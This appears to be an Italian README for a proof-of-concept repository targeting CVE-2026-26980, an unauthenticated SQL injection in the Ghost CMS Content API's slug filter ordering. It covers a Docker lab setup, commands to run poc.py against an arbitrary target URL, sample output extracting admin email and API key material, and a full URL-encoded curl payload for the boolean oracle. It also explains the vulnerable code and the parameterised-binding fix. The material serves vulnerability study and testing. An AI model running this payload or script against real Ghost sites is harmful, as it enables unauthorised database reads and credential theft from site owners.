
Ghost Content API SQL Injection
★ CVE-2026-26980 PoC di SQL Injection per TryGhost Ghost CMS Content API ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 è una vulnerabilità di SQL Injection non autenticata nella Content API di TryGhost Ghost CMS. Il percorso vulnerabile è raggiungibile attraverso la logica di gestione dei filtri della Content API pubblica quando viene elaborato l'ordinamento slug:[...].
Questo PoC allestisce un lab Ghost 6.19.0 controllato e dimostra come una richiesta pubblica alla Content API possa essere trasformata in una primitiva di lettura del database basata su booleani.
| Prodotto | Versione interessata | Versione corretta | Tipo di vulnerabilità |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL Injection |
L'ambiente del lab utilizza Ghost 6.19.0.
Crea ed esegui l'ambiente Ghost CMS vulnerabile usando Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Esempio:
http://127.0.0.1:9102/
Il lab esegue una reale istanza vulnerabile di Ghost 6.19.0 sulla porta 9102.
La chiave Content API del lab è:
EQSTLab299
CVE-2026-26980 : vulnerabilità di SQL Injection nella Content API di TryGhost Ghost CMS
descrizione: una vulnerabilità di SQL injection in TryGhost Ghost CMS precedente alla 6.19.1 consente a un attaccante non autenticato, in possesso di una chiave pubblica della Content API, di leggere valori arbitrari del database tramite il parametro filter della Content API. Il problema si verifica nel percorso di ordinamento del filtro slug:[...], dove i valori slug controllati dall'utente vengono inseriti in SQL grezzo senza un corretto binding dei parametri.
Le chiavi della Content API di Ghost sono comunemente esposte ai browser per progettazione, tramite temi, ricerca, portale o JavaScript frontend. Ciò significa che il percorso vulnerabile può essere raggiunto senza autenticazione Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Chiave Content API personalizzata opzionale:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Esempio di [Target]: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
Il PoC pubblico dimostra l'impatto di lettura del database estraendo metadati del database sicuri per il lab e materiale delle chiavi API di Ghost. Non stampa la flag della challenge.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
La logica vulnerabile si trova nel percorso di serializzazione degli input della Content API di Ghost per i filtri slug:[...]. Ghost supporta filtri slug in stile elenco e preserva l'ordine degli slug richiesto generando un'espressione ORDER BY CASE.
Nelle versioni vulnerabili, i valori slug controllati dall'utente vengono inseriti in un frammento SQL. Un pattern vulnerabile semplificato è:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Poiché slug è controllato dall'attaccante e viene inserito nella stringa SQL senza binding dei parametri, un filtro Content API appositamente costruito può fuoriuscire dal confronto previsto e iniettare logica SQL aggiuntiva.
Il PoC del lab utilizza due tag pubblici, bacon e chorizo, come oracle booleano osservabile.
bacon viene ordinato per primo.chorizo viene ordinato per primo.Ripetendo questo test con diverse condizioni SQL, il PoC può dedurre i valori del database un carattere alla volta.
Verifica dell'oracle booleano con curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
La causa principale è la costruzione non sicura di un frammento SQL ORDER BY CASE a partire da valori slug controllati dall'utente. Il codice vulnerabile cerca di preservare l'ordine di risposta della Content API, ma tratta i valori di filtro NQL analizzati come testo SQL attendibile.
Una correzione robusta deve:
Ghost ha risolto il problema nella versione 6.19.1 sostituendo l'interpolazione grezza con binding parametrizzati delle query.
Questo è un problema CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
Poiché la Content API di Ghost è intenzionalmente pubblica, questa vulnerabilità può consentire a un attaccante non autenticato di creare una primitiva di lettura del database attraverso un endpoint di contenuti pubblico. A seconda dei contenuti e dei permessi del database, un attaccante potrebbe essere in grado di:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
Questo lab esegue una reale istanza vulnerabile di Ghost 6.19.0 anziché un server mock minimale.
Il lab include:
EQSTLab299bacon, chorizoIl poc.py pubblico è progettato per video dimostrativi e writeup pubblici. Mostra l'impatto della SQL injection senza stampare la flag della challenge.
docker stop cve-2026-26980
Questo repository non è inteso come exploit della SQL Injection per CVE-2026-26980. Lo scopo di questo progetto è aiutare le persone a imparare questa vulnerabilità e, forse, testare le proprie applicazioni.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980